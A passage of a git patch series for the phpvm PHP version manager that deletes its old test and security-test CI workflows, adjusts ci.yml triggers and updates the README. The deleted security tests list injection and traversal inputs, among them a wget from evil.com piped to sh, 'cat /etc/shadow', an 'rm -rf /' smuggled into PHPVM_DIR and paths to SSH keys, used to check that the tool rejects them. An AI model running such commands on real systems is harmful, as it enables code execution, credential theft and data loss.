-            "8.1; cat /etc/shadow"
-            "../../../etc/passwd"
-            "8.1 || wget http://evil.com/script.sh -O - | sh"
-          )
-
-          for input in "${malicious_inputs[@]}"; do
-            echo "Testing malicious input: $input"
-            if ./phpvm.sh install "$input" 2>/dev/null; then
-              echo "SECURITY ISSUE: Accepted malicious input: $input"
-              exit 1
-            else
-              echo "Correctly rejected: $input"
-            fi
-          done
-
-      - name: Path Traversal Security Test
-        run: |
-          echo "=== Testing Path Traversal Protection ==="
-
-          # Test directory traversal in .phpvmrc
-          mkdir -p security_test
-
-          # Path traversal attempts
-          path_traversal_inputs=(
-            "../../../etc/passwd"
-            "../../root/.ssh/id_rsa"
-            "/etc/shadow"
-            "..\\..\\windows\\system32\\config\\sam"
-            "....//....//etc//passwd"
-          )
-
-          for input in "${path_traversal_inputs[@]}"; do
-            echo "$input" > security_test/.phpvmrc
-            cd security_test
-            if ../phpvm.sh auto 2>/dev/null; then
-              echo "SECURITY ISSUE: Accepted path traversal: $input"
-              exit 1
-            else
-              echo "Correctly rejected path traversal: $input"
-            fi
-            cd ..
-          done
-
-      - name: File Permission Security Test
-        run: |
-          echo "=== Testing File Permission Security ==="
-
-          # Test with various .phpvmrc permissions
-          mkdir -p perm_test
-          echo "8.1" > perm_test/.phpvmrc
-
-          # Test with world-writable .phpvmrc
-          chmod 777 perm_test/.phpvmrc
-          cd perm_test
-          ../phpvm.sh auto || echo "Handled world-writable .phpvmrc"
-          cd ..
-
-          # Test with unreadable .phpvmrc
-          chmod 000 perm_test/.phpvmrc
-          cd perm_test
-          if ../phpvm.sh auto 2>/dev/null; then
-            echo "Should have failed with unreadable .phpvmrc"
-            exit 1
-          else
-            echo "Correctly handled unreadable .phpvmrc"
-          fi
-          cd ..
-
-      - name: Environment Variable Security Test
-        run: |
-          echo "=== Testing Environment Variable Security ==="
-
-          # Test with malicious environment variables
-          export PHPVM_DIR="/tmp/malicious; rm -rf /"
-          if ./phpvm.sh version 2>/dev/null; then
-            echo "Script executed with malicious PHPVM_DIR"
-          else
-            echo "Handled malicious PHPVM_DIR safely"
-          fi
-
-          # Reset environment
-          unset PHPVM_DIR
-
-      - name: Symlink Security Test
-        run: |
-          echo "=== Testing Symlink Security ==="
-
-          # Test symlink attacks
-          mkdir -p symlink_test
-          echo "8.1" > symlink_test/legitimate.phpvmrc
-
-          # Create symlink to sensitive file
-          ln -s /etc/passwd symlink_test/.phpvmrc
-
-          cd symlink_test
-          if ../phpvm.sh auto 2>/dev/null; then
-            echo "Script followed symlink to /etc/passwd"
-          else
-            echo "Safely handled symlink attack"
-          fi
-          cd ..
-
-  privilege-escalation-test:
-    name: Privilege Escalation Tests
-    runs-on: ubuntu-latest
-    steps:
-      - name: Checkout Repository
-        uses: actions/checkout@v4
-
-      - name: Test Privilege Escalation Prevention
-        run: |
-          chmod +x ./phpvm.sh
-
-          echo "=== Testing Privilege Escalation Prevention ==="
-
-          # Test running as non-root user
-          # Ensure script doesn't inappropriately escalate privileges
-
-          # Create a test user (this simulates running as non-root)
-          # Note: In GitHub Actions, we're already non-root
-
-          # Test sudo usage validation
-          if grep -n "sudo" phpvm.sh | grep -v "run_with_sudo"; then
-            echo "Found sudo usage outside of run_with_sudo helper"
-          fi
-
-          # Ensure run_with_sudo function exists and is used properly
-          if ! grep -q "run_with_sudo()" phpvm.sh; then
-            echo "run_with_sudo function not found"
-            exit 1
-          fi
-
-          echo "Privilege escalation tests passed"
-
-      - name: Test Sudo Command Validation
-        run: |
-          echo "=== Testing Sudo Command Validation ==="
-
-          # Check that run_with_sudo properly validates commands
-          # Look for any direct variable expansion in sudo calls
-
-          if grep -n "sudo.*\$[^{]" phpvm.sh | grep -v "run_with_sudo"; then
-            echo "Found potentially unsafe sudo variable expansion"
-          fi
-
-          echo "Sudo validation tests completed"
-
-  code-quality-security:
-    name: Code Quality and Security Standards
-    runs-on: ubuntu-latest
-    steps:
-      - name: Checkout Repository
-        uses: actions/checkout@v4
-
-      - name: Check for Hardcoded Secrets
-        run: |
-          echo "=== Checking for Hardcoded Secrets ==="
-
-          # Check for potential secrets or credentials
-          secret_patterns=(
-            "password"
-            "secret"
-            "key.*="
-            "token"
-            "api.*key"
-            "auth.*token"
-          )
-
-          for pattern in "${secret_patterns[@]}"; do
-            if grep -i "$pattern" phpvm.sh; then
-              echo "Found potential secret pattern: $pattern"
-            fi
-          done
-
-          echo "Secret scanning completed"
-
-      - name: Check Error Handling Security
-        run: |
-          echo "=== Checking Error Handling Security ==="
-
-          # Ensure errors don't leak sensitive information
-          if grep -n "echo.*\$" phpvm.sh | grep -i "error"; then
-            echo "Found error messages that might leak information"
-          fi
-
-          # Check for proper error code usage
-          if ! grep -q "return 1" phpvm.sh; then
-            echo "No proper error returns found"
-            exit 1
-          fi
-
-          echo "Error handling security check completed"
-
-      - name: Validate Safe Defaults
-        run: |
-          echo "=== Validating Safe Defaults ==="
-
-          # Check that DEBUG defaults to false
-          if ! grep -q "DEBUG=false" phpvm.sh; then
-            echo "DEBUG should default to false"
-            exit 1
-          fi
-
-          # Check for safe directory defaults
-          if ! grep -q "PHPVM_DIR.*HOME" phpvm.sh; then
-            echo "PHPVM_DIR should default to user's home directory"
-            exit 1
-          fi
-
-          echo "Safe defaults validation completed"
-
-  penetration-test:
-    name: Security Testing
-    runs-on: ubuntu-latest
-    steps:
-      - name: Checkout Repository
-        uses: actions/checkout@v4
-
-      - name: Buffer Overflow and Input Validation Test
-        run: |
-          chmod +x ./phpvm.sh
-
-          echo "=== Testing Security Vulnerabilities ==="
-
-          # Test with extremely long inputs
-          very_long_input=$(printf 'A%.0s' {1..1000})
-          if ./phpvm.sh install "$very_long_input" 2>/dev/null; then
-            echo "SECURITY ISSUE: Accepted extremely long input"
-            exit 1
-          else
-            echo "Correctly rejected extremely long input"
-          fi
-
-          # Test concurrent operations and state validation
-          mkdir -p ~/.phpvm
-          echo "corrupted_state" > ~/.phpvm/active_version
-          ./phpvm.sh list || echo "Handled corrupted state gracefully"
-
-          echo "Security tests completed"
\ No newline at end of file
diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml
deleted file mode 100644
index c4817de..0000000
--- a/.github/workflows/test.yml
+++ /dev/null
@@ -1,680 +0,0 @@
-name: PHPVM Tests
-
-on:
-  push:
-    branches: [main, development, 'fix/**', 'feature/**']
-  pull_request:
-    branches: [main, development]
-  workflow_dispatch:
-  schedule:
-    # Run weekly regression tests
-    - cron: '0 2 * * 1'
-
-jobs:
-  # Syntax and Static Analysis
-  syntax-check:
-    name: 'Syntax & Static Analysis'
-    runs-on: ubuntu-latest
-    steps:
-      - name: Checkout Repository
-        uses: actions/checkout@v4
-
-      - name: Shell Syntax Check
-        run: |
-          bash -n phpvm.sh
-          if [ -f install.sh ]; then bash -n install.sh; fi
-          echo "Shell syntax check passed"
-
-      - name: ShellCheck Analysis
-        uses: ludeeus/action-shellcheck@2.0.0
-        with:
-          scandir: '.'
-          format: gcc
-          severity: warning
-        continue-on-error: true
-
-  # Core Functionality Testing
-  core-functionality-test:
-    name: 'Core Functionality (${{ matrix.os }})'
-    runs-on: ${{ matrix.os }}
-    needs: syntax-check
-    strategy:
-      fail-fast: false
-      matrix:
-        os: [ubuntu-latest, macos-latest]
-
-    steps:
-      - name: Checkout Repository
-        uses: actions/checkout@v4
-
-      - name: Setup Environment Info
-        run: |
-          echo "OS: $(uname -s)"
-          echo "Shell: $SHELL"
-          echo "User: $(whoami)"
-
-      # Setup Homebrew on Linux if needed
-      - name: Setup Homebrew (Linux)
-        if: runner.os == 'Linux'
-        run: |
-          sudo apt-get update
-          sudo apt-get install -y build-essential curl file git
-          NONINTERACTIVE=1 /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
-          echo 'eval "$(/home/linuxbrew/.linuxbrew/bin/brew shellenv)"' >> ~/.bashrc
-          eval "$(/home/linuxbrew/.linuxbrew/bin/brew shellenv)"
-          brew --version
-
-      # Set up permissions for the script
-      - name: Make script executable
-        run: chmod +x ./phpvm.sh
-
-      # Test all version commands (v1.5.0 feature)
-      - name: Test Version Commands
-        run: |
-          echo "=== Testing Version Commands ==="
-          ./phpvm.sh version
-          echo ""
-          ./phpvm.sh --version
-          echo ""
-          ./phpvm.sh -v
-          echo "All version commands work"
-
-      # Test help and list commands
-      - name: Test Basic Commands
-        run: |
-          echo "=== Testing Basic Commands ==="
-          ./phpvm.sh help
-          ./phpvm.sh list || echo "List command executed (may show no versions initially)"
-          echo "Basic commands work"
-
-      # Install and run BATS tests
-      - name: Install BATS
-        run: |
-          if [ "${{ runner.os }}" = "macOS" ]; then
-            brew install bats-core
-          else
-            sudo apt-get update
-            sudo apt-get install -y bats
-          fi
-
-      - name: Run BATS Test Suite
-        run: |
-          echo "=== Running BATS Test Suite ==="
-          bats tests/
-          echo "Tests completed"
-
-      # Test error handling
-      - name: Test Error Handling
-        run: |
-          echo "=== Testing Error Handling ==="
-
-          # Test invalid command
-          if ./phpvm.sh invalid_command 2>/dev/null; then
-            echo "Should have failed on invalid command"
-            exit 1
-          else
-            echo "Correctly handles invalid commands"
-          fi
-
-          # Test missing version parameter
-          if ./phpvm.sh use 2>/dev/null; then
-            echo "Should have failed on missing version"
-            exit 1
-          else
-            echo "Correctly handles missing version parameter"
-          fi
-
-          echo "Error handling tests completed"
-
-      # Test .phpvmrc functionality
-      - name: Test .phpvmrc Auto-Switch
-        run: |
-          echo "=== Testing .phpvmrc Auto-Switch ==="
-          mkdir -p test_project
-          echo "8.3" > test_project/.phpvmrc
-
-          cd test_project
-          if [[ "${{ runner.os }}" == "Linux" ]]; then
-            eval "$(/home/linuxbrew/.linuxbrew/bin/brew shellenv)" 2>/dev/null || true
-          fi
-
-          ../phpvm.sh auto || echo "Auto-switch attempted"
-          cd ..
-          echo "Auto-switch test completed"
-
-      # Performance check
-      - name: Performance Check
-        run: |
-          echo "=== Performance Check ==="
-          time ./phpvm.sh version >/dev/null
-          time ./phpvm.sh help >/dev/null
-          time ./phpvm.sh list >/dev/null
-          echo "Performance check completed"
-
-  # PHP Installation and Usage Testing
-  php-usage-test:
-    name: 'PHP Installation & Usage (${{ matrix.os }})'
-    runs-on: ${{ matrix.os }}
-    needs: syntax-check
-    strategy:
-      matrix:
-        os: [ubuntu-latest, macos-latest]
-
-    steps:
-      - name: Checkout Repository
-        uses: actions/checkout@v4
-
-      - name: Setup Homebrew (Linux)
-        if: runner.os == 'Linux'
-        run: |
-          sudo apt-get update
-          sudo apt-get install -y build-essential curl file git
-          NONINTERACTIVE=1 /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
-          echo 'eval "$(/home/linuxbrew/.linuxbrew/bin/brew shellenv)"' >> ~/.bashrc
-          eval "$(/home/linuxbrew/.linuxbrew/bin/brew shellenv)"
-
-      - name: Test PHP Installation Flow
-        run: |
-          chmod +x phpvm.sh
-          if [[ "${{ runner.os }}" == "Linux" ]]; then
-            eval "$(/home/linuxbrew/.linuxbrew/bin/brew shellenv)"
-          fi
-
-          echo "=== Testing PHP Installation ==="
-          ./phpvm.sh install 8.3 || echo "PHP 8.3 installation attempted"
-
-      - name: Test PHP Version Operations
-        run: |
-          if [[ "${{ runner.os }}" == "Linux" ]]; then
-            eval "$(/home/linuxbrew/.linuxbrew/bin/brew shellenv)"
-          fi
-
-          echo "=== Testing Version Operations ==="
-          ./phpvm.sh use 8.3 || echo "Switch to 8.3 attempted"
-          ./phpvm.sh list
-          ./phpvm.sh system || echo "System switch attempted"
-
-      - name: Test Project Auto-Switch
-        run: |
-          if [[ "${{ runner.os }}" == "Linux" ]]; then
-            eval "$(/home/linuxbrew/.linuxbrew/bin/brew shellenv)"
-          fi
-
-          echo "=== Testing Project Auto-Switch ==="
-          mkdir -p test_project
-          echo "8.3" > test_project/.phpvmrc
-          cd test_project
-          ../phpvm.sh auto || echo "Auto-switch attempted"
-          cd ..
-
-  # Multi-Distribution Compatibility Testing
-  multi-distribution-test:
-    name: 'Multi-Distribution Test (${{ matrix.scenario }})'
-    runs-on: ubuntu-latest
-    needs: syntax-check
-    strategy:
-      fail-fast: false
-      matrix:
-        include:
-          # Ubuntu versions
-          - distro: ubuntu:20.04
-            scenario: 'Ubuntu 20.04 LTS'
-            package_manager: apt
-            test_php_versions: '7.4 8.0 8.1'
-          - distro: ubuntu:22.04
-            scenario: 'Ubuntu 22.04 LTS'
-            package_manager: apt
-            test_php_versions: '8.0 8.1 8.2'
-          - distro: ubuntu:24.04
-            scenario: 'Ubuntu 24.04 LTS'
-            package_manager: apt
-            test_php_versions: '8.1 8.2 8.3'
-
-          # Debian versions
-          - distro: debian:11
-            scenario: 'Debian Bullseye'
-            package_manager: apt
-            test_php_versions: '7.4 8.0'
-          - distro: debian:12
-            scenario: 'Debian Bookworm'
-            package_manager: apt
-            test_php_versions: '8.1 8.2'
-
-          # RHEL/CentOS family
-          - distro: fedora:38
-            scenario: 'Fedora 38'
-            package_manager: dnf
-            test_php_versions: '8.1 8.2'
-          - distro: fedora:39
-            scenario: 'Fedora 39'
-            package_manager: dnf
-            test_php_versions: '8.2 8.3'
-          - distro: rockylinux:8
-            scenario: 'Rocky Linux 8'
-            package_manager: dnf
-            test_php_versions: '7.4 8.0'
-          - distro: rockylinux:9
-            scenario: 'Rocky Linux 9'
-            package_manager: dnf
-            test_php_versions: '8.0 8.1'
-          - distro: almalinux:8
-            scenario: 'AlmaLinux 8'
-            package_manager: dnf
-            test_php_versions: '7.4 8.0'
-          - distro: almalinux:9
-            scenario: 'AlmaLinux 9'
-            package_manager: dnf
-            test_php_versions: '8.0 8.1'
-
-          # Arch Linux
-          - distro: archlinux:latest
-            scenario: 'Arch Linux'
-            package_manager: pacman
-            test_php_versions: '8.2 8.3'
-
-          # Alpine Linux
-          - distro: alpine:3.18
-            scenario: 'Alpine 3.18'
-            package_manager: apk
-            test_php_versions: '8.1 8.2'
-          - distro: alpine:3.19
-            scenario: 'Alpine 3.19'
-            package_manager: apk
-            test_php_versions: '8.2 8.3'
-
-    steps:
-      - name: Checkout Repository
-        uses: actions/checkout@v4
-
-      - name: Run Extended Tests in Container
-        run: |
-          # Use sh for Alpine Linux (bash not available by default), bash for others
-          if [[ "${{ matrix.distro }}" == alpine* ]]; then
-            SHELL_CMD="sh"
-          else
-            SHELL_CMD="bash"
-          fi
-          docker run --rm -v $PWD:/workspace -w /workspace ${{ matrix.distro }} $SHELL_CMD -c "
-            set -e
-
-            echo '=== Setting up ${{ matrix.scenario }} ==='
-
-            # Update package manager and install dependencies
-            case '${{ matrix.package_manager }}' in
-              apt)
-                apt-get update -y
-                # Install essential packages (gawk provides awk functionality)
-                apt-get install -y curl wget sudo procps grep sed gawk coreutils
-                ;;
-              dnf)
-                dnf update -y
-                # Use --allowerasing to handle coreutils conflicts in RHEL/Rocky/Alma
-                dnf install -y --allowerasing curl wget sudo procps grep sed gawk coreutils which
-                ;;
-              pacman)
-                pacman -Sy --noconfirm
-                pacman -S --noconfirm curl wget sudo procps grep sed gawk coreutils which
-                ;;
-              apk)
-                apk update
-                # Install bash and other essential tools for Alpine
-                apk add bash curl wget sudo procps grep sed gawk coreutils
-                ;;
-            esac
-
-            chmod +x ./phpvm.sh
-
-            echo '=== System Information ==='
-            ./phpvm.sh info || echo 'Info command executed'
-
-            echo '=== Testing Basic Functionality ==='
-            ./phpvm.sh version
-            ./phpvm.sh help
-            ./phpvm.sh list || echo 'List command completed'
-
-            echo '=== Testing Basic Commands ==='
-            # Built-in test command has been removed in favor of BATS
-            # Basic command validation is sufficient for container tests
-            ./phpvm.sh version >/dev/null
-            ./phpvm.sh help >/dev/null
-
-            echo '=== Testing Input Validation ==='
-            # Test invalid version formats
-            if ./phpvm.sh install 'invalid..version' 2>/dev/null; then
-              echo 'Should have rejected invalid version'
-              exit 1
-            else
-              echo 'Correctly rejected invalid version'
-            fi
-
-            if ./phpvm.sh use 'bad-format' 2>/dev/null; then
-              echo 'Should have rejected invalid version format'
-              exit 1
-            else
-              echo 'Correctly rejected invalid version format'
-            fi
-
-            echo '=== Testing .phpvmrc Functionality ==='
-            mkdir -p test_project
-            echo '8.1' > test_project/.phpvmrc
-            cd test_project
-            ../phpvm.sh auto || echo 'Auto-switch attempted'
-            cd ..
-
-            # Test corrupted .phpvmrc
-            mkdir -p bad_project
-            touch bad_project/.phpvmrc  # Empty file
-            cd bad_project
-            if ../phpvm.sh auto 2>/dev/null; then
-              echo 'Should have failed with empty .phpvmrc'
-              exit 1
-            else
-              echo 'Correctly handled empty .phpvmrc'
-            fi
-            cd ..
-
-            echo '=== Performance Testing ==='
-            time ./phpvm.sh version >/dev/null
-            time ./phpvm.sh help >/dev/null
-
-            echo 'All extended tests completed successfully for ${{ matrix.scenario }}!'
-          "
-
-  # Performance and Load Testing
-  performance-test:
-    name: 'Performance & Load Testing'
-    runs-on: ubuntu-latest
-    needs: syntax-check
-    steps:
-      - name: Checkout Repository
-        uses: actions/checkout@v4
-
-      - name: Performance Benchmarks
-        run: |
-          chmod +x ./phpvm.sh
-
-          echo "=== Performance Testing ==="
-
-          # Test startup time
-          echo "Measuring startup time (5 iterations):"
-          for i in {1..5}; do
-            time ./phpvm.sh version >/dev/null
-          done
-
-          # Test concurrent operations
-          echo "Testing 10 concurrent operations:"
-          for i in {1..10}; do
-            ./phpvm.sh version >/dev/null &
-          done
-          wait
-
-          echo "Performance tests completed"
-
-  # End-to-End Integration Testing
-  integration-test:
-    name: 'End-to-End Integration (${{ matrix.os }})'
-    runs-on: ${{ matrix.os }}
-    needs: syntax-check
-    strategy:
-      matrix:
-        os: [ubuntu-latest, macos-latest]
-
-    steps:
-      - name: Checkout Repository
-        uses: actions/checkout@v4
-
-      - name: Test Installation Script
-        run: |
-          echo "=== Testing install.sh Script ==="
-
-          # Test syntax
-          bash -n install.sh
-          echo "Install script syntax check passed"
-
-          # Test installation script components
-          if grep -q "uname" install.sh; then
-            echo "Install script includes OS detection"
-          fi
-
-          if grep -q "curl\|wget" install.sh; then
-            echo "Install script includes download mechanism"
-          fi
-
-          if grep -q "chmod" install.sh; then
-            echo "Install script includes permission setting"
-          fi
-
-      - name: Simulate Installation Process
-        run: |
-          echo "=== Installation Process Simulation ==="
-
-          # Create a temporary home directory for testing
-          TEST_HOME=$(mktemp -d)
-          export HOME="$TEST_HOME"
-
-          # Test phpvm setup after simulated installation
-          export PHPVM_DIR="$TEST_HOME/.phpvm"
-          mkdir -p "$PHPVM_DIR"
-          cp phpvm.sh "$PHPVM_DIR/"
-          chmod +x "$PHPVM_DIR/phpvm.sh"
-
-          # Test if phpvm works after installation simulation
-          "$PHPVM_DIR/phpvm.sh" version
-          echo "phpvm works after simulated installation"
-
-      - name: Multi-Version Workflow Test
-        run: |
-          chmod +x ./phpvm.sh
-
-          echo "=== Multi-Version Workflow Testing ==="
-
-          # Test typical developer workflow
-          php_versions=("8.1" "8.2" "8.3")
-
-          for version in "${php_versions[@]}"; do
-            echo "Testing workflow with PHP $version"
-
-            # Test version validation
-            ./phpvm.sh install "$version" 2>/dev/null || echo "Install command executed for $version"
-
-            # Test switching (in test mode)
-            ./phpvm.sh use "$version" 2>/dev/null || echo "Use command executed for $version"
-
-            # Test listing
-            ./phpvm.sh list || echo "List command executed"
-
-            # Test system switch
-            ./phpvm.sh system || echo "System switch executed"
-          done
-
-      - name: Project Workflow Simulation
-        run: |
-          echo "=== Project Workflow Simulation ==="
-
-          # Simulate a typical project workflow
-          projects=("web-app" "api-service" "legacy-app")
-          versions=("8.3" "8.2" "8.1")
-
-          for i in "${!projects[@]}"; do
-            project="${projects[$i]}"
-            version="${versions[$i]}"
-
-            echo "Setting up project: $project with PHP $version"
-
-            # Create project directory
-            mkdir -p "$project"
-            echo "$version" > "$project/.phpvmrc"
-
-            # Test auto-switching
-            cd "$project"
-            echo "Testing auto-switch for $project:"
-            ../phpvm.sh auto || echo "Auto-switch attempted for $project"
-
-            # Test nested directory behavior
-            mkdir -p "src/controllers"
-            cd "src/controllers"
-            echo "Testing auto-switch from nested directory:"
-            ../../../phpvm.sh auto || echo "Auto-switch from nested directory attempted"
-
-            cd ../../..
-          done
-
-      - name: Error Recovery Testing
-        run: |
-          echo "=== Error Recovery Testing ==="
-
-          # Test recovery from various error conditions
-
-          # 1. Test with corrupted state
-          mkdir -p ~/.phpvm
-          echo "corrupted_data" > ~/.phpvm/active_version
-
-          echo "Testing recovery from corrupted state:"
-          ./phpvm.sh list || echo "Handled corrupted state"
-
-          # 2. Test with missing directories
-          rm -rf ~/.phpvm/versions 2>/dev/null || true
-
-          echo "Testing recovery from missing directories:"
-          ./phpvm.sh list || echo "Handled missing directories"
-
-          # 3. Test with invalid .phpvmrc
-          mkdir -p error_test
-          printf '\x00\x01\x02' > error_test/.phpvmrc
-
-          cd error_test
-          echo "Testing recovery from binary .phpvmrc:"
-          ../phpvm.sh auto 2>/dev/null || echo "Handled binary .phpvmrc"
-          cd ..
-
-      - name: Documentation Validation
-        run: |
-          chmod +x ./phpvm.sh
-
-          echo "=== Help Documentation Validation ==="
-
-          # Test help output
-          help_output=$(./phpvm.sh help)
-
-          # Check if help includes all commands
-          commands=("install" "use" "system" "auto" "list" "help" "info" "version" "alias" "unalias" "current" "which" "deactivate")
-
-          for cmd in "${commands[@]}"; do
-            if echo "$help_output" | grep -q "$cmd"; then
-              echo "Help includes $cmd command"
-            else
-              echo "Help missing $cmd command"
-            fi
-          done
-
-          # Check if help includes examples
-          if echo "$help_output" | grep -q "Examples:"; then
-            echo "Help includes examples section"
-          else
-            echo "Help missing examples section"
-          fi
-
-      - name: Error Message Validation
-        run: |
-          echo "=== Error Message Validation ==="
-
-          # Test that error messages are helpful
-          error_output=$(./phpvm.sh invalid_command 2>&1 || true)
-
-          if echo "$error_output" | grep -q "Unknown command"; then
-            echo "Helpful error message for unknown command"
-          else
-            echo "Poor error message for unknown command"
-          fi
-
-          # Test missing argument error
-          error_output=$(./phpvm.sh use 2>&1 || true)
-
-          if echo "$error_output" | grep -q "Missing.*version"; then
-            echo "Helpful error message for missing argument"
-          else
-            echo "Poor error message for missing argument"
-          fi
-
-      - name: Cross-Platform Compatibility Test
-        run: |
-          echo "=== Cross-Platform Compatibility Testing ==="
-
-          # Test platform-specific features
-          if [ "$RUNNER_OS" = "macOS" ]; then
-            echo "Testing macOS-specific features:"
-
-            # Test Homebrew integration
-            if command -v brew >/dev/null; then
-              echo "Homebrew available"
-
-              # Test Homebrew detection
-              if ./phpvm.sh info | grep -q "Homebrew:"; then
-                echo "Homebrew detection working"
-              else
-                echo "Homebrew detection failed"
-              fi
-            else
-              echo "Homebrew not available in test environment"
-            fi
-
-            # Test macOS version detection
-            if ./phpvm.sh info | grep -q "macOS Version:"; then
-              echo "macOS version detection working"
-            else
-              echo "macOS version detection failed"
-            fi
-
-          elif [ "$RUNNER_OS" = "Linux" ]; then
-            echo "Testing Linux-specific features:"
-
-            # Test distribution detection
-            if ./phpvm.sh info | grep -q "Linux Distribution:"; then
-              echo "Linux distribution detection working"
-            else
-              echo "Linux distribution detection failed"
-            fi
-
-            # Test package manager detection
-            info_output=$(./phpvm.sh info)
-            if echo "$info_output" | grep -q "apt-get: Available"; then
-              echo "apt package manager detected"
-            fi
-
-            if echo "$info_output" | grep -q "update-alternatives: Available"; then
-              echo "update-alternatives detected"
-            fi
-          fi
-
-      - name: Final Integration Validation
-        run: |
-          echo "=== Final Integration Validation ==="
-
-          # Run all major functionalities
-          echo "1. Version information:"
-          ./phpvm.sh version
-
-          echo -e "\n2. System information:"
-          ./phpvm.sh info
-
-          echo -e "\n3. Help documentation:"
-          ./phpvm.sh help >/dev/null && echo "Help command successful"
-
-          echo -e "\n4. List functionality:"
-          ./phpvm.sh list >/dev/null && echo "List command successful"
-
-          echo -e "\n5. Command validation:"
-          ./phpvm.sh current >/dev/null || echo "Current command validated"
-          ./phpvm.sh which >/dev/null || echo "Which command validated"
-
-          echo -e "\n6. Input validation:"
-          ./phpvm.sh install "invalid" 2>/dev/null || echo "Input validation working"
-
-          echo -e "\n7. Auto-switch functionality:"
-          mkdir -p final_test
-          echo "8.1" > final_test/.phpvmrc
-          cd final_test
-          ../phpvm.sh auto >/dev/null || echo "Auto-switch tested"
-          cd ..
-
-          echo -e "\nAll integration tests completed successfully!"

From 3e41f3cdc95554299312cf87bcae74e42c9a385a Mon Sep 17 00:00:00 2001
From: Jerome Thayananthajothy <tjthavarshan@gmail.com>
Date: Fri, 16 Jan 2026 01:56:14 +0530
Subject: [PATCH 17/20] fix: update conditions for multi-distribution and
 performance testing jobs to trigger on push to main

---
 .github/workflows/ci.yml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index 1391b4a..8dba72c 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -399,7 +399,7 @@ jobs:
     name: 'Multi-Distribution (${{ matrix.scenario }})'
     runs-on: ubuntu-latest
     needs: quick-checks
-    if: github.event_name == 'schedule' || github.event_name == 'workflow_dispatch'
+    if: github.event_name == 'schedule' || github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/main')
     strategy:
       fail-fast: false
       matrix:
@@ -457,7 +457,7 @@ jobs:
     name: 'Performance & Load Testing'
     runs-on: ubuntu-latest
     needs: quick-checks
-    if: github.event_name == 'schedule' || github.event_name == 'workflow_dispatch'
+    if: github.event_name == 'schedule' || github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/main')
     steps:
       - name: Checkout Repository
         uses: actions/checkout@v4

From eef2dc35d4f4ac6e299b1cbe7608476816d5e604 Mon Sep 17 00:00:00 2001
From: Jerome Thayananthajothy <tjthavarshan@gmail.com>
Date: Fri, 16 Jan 2026 02:06:39 +0530
Subject: [PATCH 18/20] chore: clarify schedule timing in CI pipeline comments

---
 .github/workflows/ci.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index 8dba72c..20d87de 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -7,7 +7,7 @@ on:
     branches: [main, development]
   workflow_dispatch:
   schedule:
-    # Weekly comprehensive tests including security scans
+    # Weekly comprehensive tests including security scans (Mondays at 2 AM UTC)
     - cron: '0 2 * * 1'
 
 jobs:

From 585964127553d7e36e69dffead523ba5e168b749 Mon Sep 17 00:00:00 2001
From: Jerome Thayananthajothy <tjthavarshan@gmail.com>
Date: Fri, 16 Jan 2026 02:11:46 +0530
Subject: [PATCH 19/20] docs: update badges and CI documentation to reflect
 consolidated workflow

---
 README.MD | 50 ++++++++++++++++++++++----------------------------
 1 file changed, 22 insertions(+), 28 deletions(-)

diff --git a/README.MD b/README.MD
index eb4818e..f4e988a 100644
--- a/README.MD
+++ b/README.MD
@@ -1,7 +1,6 @@
 [![PHP Version Manager (phpvm)](./assets/Banner.png)](https://github.com/Thavarshan/phpvm)
 
-[![Test](https://github.com/Thavarshan/phpvm/actions/workflows/test.yml/badge.svg)](https://github.com/Thavarshan/phpvm/actions/workflows/test.yml)
-[![Security](https://github.com/Thavarshan/phpvm/actions/workflows/security-test.yml/badge.svg)](https://github.com/Thavarshan/phpvm/actions/workflows/security-test.yml)
+[![CI Pipeline](https://github.com/Thavarshan/phpvm/actions/workflows/ci.yml/badge.svg)](https://github.com/Thavarshan/phpvm/actions/workflows/ci.yml)
 [![Version](https://img.shields.io/github/v/release/Thavarshan/phpvm.svg)](https://github.com/Thavarshan/phpvm/releases)
 [![GitHub stars](https://img.shields.io/github/stars/Thavarshan/phpvm.svg)](https://github.com/Thavarshan/phpvm/stargazers)
 
@@ -409,38 +408,33 @@ The BATS test suite verifies:
 
 ### Comprehensive GitHub Actions Testing
 
-The project features a streamlined CI/CD pipeline with comprehensive testing workflows:
+The project features a streamlined CI/CD pipeline with comprehensive testing in a single consolidated workflow:
 
-#### 1. **Core Testing** (`.github/workflows/test.yml`)
+#### **CI Pipeline** (`.github/workflows/ci.yml`)
 
-Comprehensive testing workflow including:
+Consolidated testing workflow including:
 
-- **Multi-Distribution Testing**: 13 Linux distributions across 4 package managers
-  - **Ubuntu**: 20.04, 22.04, 24.04
-  - **Debian**: 11 (Bullseye), 12 (Bookworm)
-  - **RHEL/CentOS**: Rocky Linux 8 & 9, AlmaLinux 8 & 9, Fedora 38 & 39
-  - **Arch Linux**: Latest
-  - **Alpine Linux**: 3.18, 3.19
-- **Cross-Platform Testing**: Ubuntu and macOS (Intel and Apple Silicon)
-- **PHP Usage Testing**: Installation, version switching, and auto-detection
-- **Performance Testing**: Startup time, concurrent operations, load testing
-- **Integration Testing**: End-to-end workflows, installation simulation, error recovery
+- **Quick Checks**: Shell syntax validation, ShellCheck analysis, code formatting, and quality checks
+- **Security Testing**: Input validation, path traversal protection, privilege escalation prevention, buffer overflow protection, file permission security, environment variable security, and symlink attack prevention
+- **BATS Test Suite**: Comprehensive automated testing across Ubuntu and macOS
+- **Core Functionality Tests**: Version commands, basic commands, error handling, and .phpvmrc auto-switching across multiple platforms
+- **PHP Integration Tests**: Installation flow, version operations, project workflows, and error recovery testing
+- **Multi-Distribution Testing** (scheduled weekly): 5 Linux distributions
+  - **Ubuntu**: 22.04, 24.04
+  - **Debian**: 12 (Bookworm)
+  - **Fedora**: 39
+  - **Alpine Linux**: 3.19
+- **Performance Testing** (scheduled weekly): Startup time benchmarks, concurrent operations, and load testing
+- **Quality Gate**: Final validation ensuring all required checks pass
 
-#### 2. **Security Testing** (`.github/workflows/security-test.yml`)
+#### **Release Workflow** (`.github/workflows/release.yml`)
 
-Specialized security validation including:
